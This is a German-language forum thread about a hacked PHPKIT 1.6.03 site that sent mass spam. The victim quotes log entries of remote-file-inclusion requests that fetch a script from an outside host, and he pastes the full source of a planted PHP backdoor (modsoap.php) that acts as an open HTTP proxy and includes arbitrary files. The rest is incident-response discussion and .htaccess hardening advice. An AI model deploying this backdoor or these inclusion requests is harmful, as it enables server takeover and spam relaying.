Jetzt kostenlos Anmelden!


Master-B Männlich

Grafiker

Beiträge: 79

Geschlecht: Männlich

PHPKIT Version: 1.6.03

1

Donnerstag, 21. Februar 2008, 05:06

Es wurde ein Script eingeschleust -> 250000 Spam Mails -> Account gesperrt

Da denkt man, man hat alles abgesichert - narda.
Irgendwie ist es jmd. gelungen ein SpamScript einzuschleusen. Toll!

Zitat

folgende Analyse ergaben das bei web104 wurden mehrere Scripte aufgerufen,
ueber die das passiert sein koennte:
/popup.php?path=http://r3dcr3w.xm.com/mailer.txt (ca. 120 mal)
/tmp/modsoap.php?urlx=rusip.ru/cgi-bin/users.cgi (ca. 2400 mal)
Ich habe darum gebeten für heute erstmal die Deaktivierung beizubehalten, da ich Morgen erst Zeit habe.
Tja, das Kit scheint für mich gestorben zu sein.
  • Zum Seitenanfang
  • Zum Seitenende

Syslord Männlich

KleanyMan

Beiträge: 31

Geschlecht: Männlich

Wohnort: Berlin

2

Donnerstag, 21. Februar 2008, 06:25

Hallo,

Ist die popup nicht schon lange gefixt?
  • Zum Seitenanfang
  • Zum Seitenende

Headless Männlich

... nur noch zur deko

Beiträge: 2 374

Geschlecht: Männlich

Wohnort: Nürnberg

PHPKIT Version: keine

3

Donnerstag, 21. Februar 2008, 08:20

Ich denke eher das entweder über den Ava Upload oder dem Upload im Adminbereich das böse Script hoch geladen wurde.
=> modsoap.php

Fragen:
=> Hast du htaccess Dateien in den 777 Ordnern?
=> Existiert diese Datei: /tmp/modsoap.php
  • Zum Seitenanfang
  • Zum Seitenende

Master-B Männlich

Grafiker

Beiträge: 79

Geschlecht: Männlich

PHPKIT Version: 1.6.03

4

Donnerstag, 21. Februar 2008, 19:16

Also immo komme ich garnicht drauf, nach Absprache mit dem Hoster will ich erst morgen den Acc reaktiviert haben (wenn ich Zeit habe).
Ich bin mir zu 99,9% sicher, dass ich ALLES an Fixes etc drauf habe.
Aber die Realität straft meiner Wahrnemung Lügen :cursing:

Achja, ich hatte auf (fast) allen Ordner keine 777 gesetzt.
  • Zum Seitenanfang
  • Zum Seitenende

Headless Männlich

... nur noch zur deko

Beiträge: 2 374

Geschlecht: Männlich

Wohnort: Nürnberg

PHPKIT Version: keine

5

Donnerstag, 21. Februar 2008, 19:47

Auf dem tmp aber bestimmt und wenn da keine htaccess drauf war haben wir das schuldige Script.
  • Zum Seitenanfang
  • Zum Seitenende

Master-B Männlich

Grafiker

Beiträge: 79

Geschlecht: Männlich

PHPKIT Version: 1.6.03

6

Freitag, 22. Februar 2008, 13:26

So, ich habe wieder Zugriff / die Domains laufen wieder.
Später mehr. ;)
  • Zum Seitenanfang
  • Zum Seitenende

JHS Männlich

fühlt sich meist wohl

Beiträge: 347

Geschlecht: Männlich

PHPKIT Version: 1.6.03

7

Freitag, 22. Februar 2008, 16:54

Du magst das spannend machen... :thumbdown: ;)

Alle 1.6.03er schlottern vor Angst! 8)

Das Schicksal mischt die Karten aber du spielst das Spiel...


  • Zum Seitenanfang
  • Zum Seitenende

Master-B Männlich

Grafiker

Beiträge: 79

Geschlecht: Männlich

PHPKIT Version: 1.6.03

8

Freitag, 22. Februar 2008, 18:06

Naja, was heißt spannend. ;)
Ich musste noch die Spiegel an meinem Motorrad justieren und ne kleine Runde drehen.

Wie es die Deppen geschafft haben weiss ich nicht.
Aber sie habe mehrere Scripte in den TMP Ordner geladen. Die Scripte sind klassische MailBomber ,Backdoor dateien und Exploits.

Interresant ist die schon erwähnte modsoap.php

PHP-Quelltext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php define ("GETURL""urlx"); define ("GETURS""urls");function findHeaderLine ($template$headline)
{$res=eregi_replace $template""substr($headline0strlen($template)));if ($res!=substr($headline0strlen($template))) return 1; return -1;}
if (isset($_GET[GETURL])||isset($_GET[GETURS])){$POST_STR="";$GET_STR="";$COOKIE_STR="";if (isset($_GET[GETURL])) $url=$_GET[GETURL];
if (isset($_GET[GETURS])) $url=$_GET[GETURS];$parse_url=explode("?"$url);if (isset($parse_url[1])){$sub_parse=explode("="$parse_url[1]);
if (isset($sub_parse[1])){if (get_magic_quotes_gpc()) $sub_parse[1]=stripslashes($sub_parse[1]);$url=$parse_url[0]."?".$sub_parse[0]."=".urlencode($sub_parse[1]);}
else  $url=$parse_url[0]."?".$sub_parse[0];} else $url=$parse_url[0];$url "http://".$url;$GET_STR=substr(strstr ($_SERVER["QUERY_STRING"], "&"),1);
if (isset($_GET[GETURL])) { $POST_STR="";foreach ($_POST as $key => $value) {$POST_STR.="&".$key."=".urlencode($value);}
if ($POST_STR!=""$POST_STR=substr($POST_STR1);}if (isset($_GET[GETURS])) $POST_STR file_get_contents("php://input"); 
$ch=curl_init();if ($GET_STR!="") {$GET_STR="&".$GET_STR;}curl_setopt($chCURLOPT_URL,$url.$GET_STR);
curl_setopt($chCURLOPT_HEADER,1);curl_setopt($chCURLOPT_RETURNTRANSFER,10);$httpheaders = array("Connection: keep-alive");
if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) array_push($httpheaders,"Accept-Language: ".$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
if (isset($_SERVER["HTTP_ACCEPT"])) array_push($httpheaders,"Accept: ".$_SERVER["HTTP_ACCEPT"]);
if (isset($_SERVER["HTTP_ACCEPT_ENCODING"])) array_push($httpheaders"Accept-Encoding: ".$_SERVER["HTTP_ACCEPT_ENCODING"]);
if (isset($_SERVER["HTTP_REFERER"])) array_push($httpheaders"Referer: ".$_SERVER["HTTP_REFERER"]);
if (isset($_SERVER["HTTP_USER_AGENT"])) array_push($httpheaders"User-Agent: ".$_SERVER["HTTP_USER_AGENT"]);
if (isset($_SERVER["HTTP_COOKIE"])) array_push($httpheaders"Cookie: ".$_SERVER["HTTP_COOKIE"]);
if ($POST_STR!="") {curl_setopt($chCURLOPT_POSTFIELDS$POST_STR);if (isset($_GET[GETURL]))
array_push($httpheaders,"Content-Length: " strlen($POST_STR),"Content-Type: application/x-www-form-urlencoded");
if (isset($_GET[GETURS])) array_push($httpheaders,"Content-Length: " strlen($POST_STR),"Content-Type: application/soap+xml; charset=utf-8");}
curl_setopt ($chCURLOPT_HTTPHEADER$httpheaders);$ret_data=curl_exec($ch);$no_zip = (strpos($_SERVER["HTTP_ACCEPT_ENCODING"], "gzip") === FALSE);
$classic=strpos($ret_data,"\r\n\r\n");$olen=strpos($ret_data,"\n\n");if (($classic!==FALSE) && (($olen===FALSE) || ($olen>$classic)))
{$i_head=$classic;$head_mes_separator="\r\n\r\n";}else if ($olen!==FALSE){$i_head=$olen;$head_mes_separator="\n\n";}
else {die ("<h1>HTTP-header error!</h1><br>" $ret_data);}$header=substr($ret_data0$i_head);
$ret_data=substr($ret_data$i_head+strlen($head_mes_separator));$header_mas=split("\r\n"$header);
while (current ($header_mas)){$headline=$header_mas[key($header_mas)];
if ((findHeaderLine "Content-Encoding"$headline)==1) && (strpos(strtolower($headline), "gzip")!=FALSE)) $no_zip=true;
else if ((findHeaderLine "Content-Type"$headline)==1) &&((strpos(strtolower($headline), "image/jpeg")!=FALSE) ||
(strpos(strtolower($headline), "image/gif")!=FALSE)||(strpos(strtolower($headline), "image/png")!=FALSE))) $no_zip=true;
if (findHeaderLine "Transfer-Encoding"$headline)!=1header ($headlinefalse);next($header_mas);}
if ($no_zip==false){$gzdata gzencode($ret_data9);$inSize=strlen($ret_data); $outSize=strlen($gzdata);
$tmp_ret_data=$ret_data;if (strlen($tmp_ret_data)>strlen($ret_data)) $ret_data=$tmp_ret_data;
$gzdata gzencode($ret_data9);header("Content-Encoding: gzip");header("Content-Length: ".strlen($gzdata));
print $gzdata;}else{header("Content-Length: ".strlen($ret_data));print $ret_data;}curl_close($ch);
}else header("HTTP/1.0 404 Not Found");if (isset($_GET["inc"])){$param $_GET["inc"];if ($param != "" ) include($param);}
?>


Ich habe den TMP Ordner jetzt mit einer htaccess gesichert:

PHP-Quelltext

1
2
Deny from all
Allow from 213.203.204.40

und Ihm die Rechte 700 gegeben.
Langt das?

Tja, jetzt muss ich wohl doch mal nach einem 'richtigen' CMS umsehen. Joomla, Typo3 oder was auch immer.
  • Zum Seitenanfang
  • Zum Seitenende

Headless Männlich

... nur noch zur deko

Beiträge: 2 374

Geschlecht: Männlich

Wohnort: Nürnberg

PHPKIT Version: keine

9

Samstag, 23. Februar 2008, 00:21

Hast du Logfiles?

Besser ist IMO diese htaccess in den /tmp/:

Quellcode

1
deny from all

und Rechte auf 777

Gruß
  • Zum Seitenanfang
  • Zum Seitenende

Master-B Männlich

Grafiker

Beiträge: 79

Geschlecht: Männlich

PHPKIT Version: 1.6.03

10

Samstag, 23. Februar 2008, 14:12

Jepp, die Logfiles habe ich. Vom 1.1.08 bis heute.
Obwohl der Zeitraum, indem das Script eingeschleust wurde sich auf die letzten 14 Tage beschränkt.

Willst du die haben?
  • Zum Seitenanfang
  • Zum Seitenende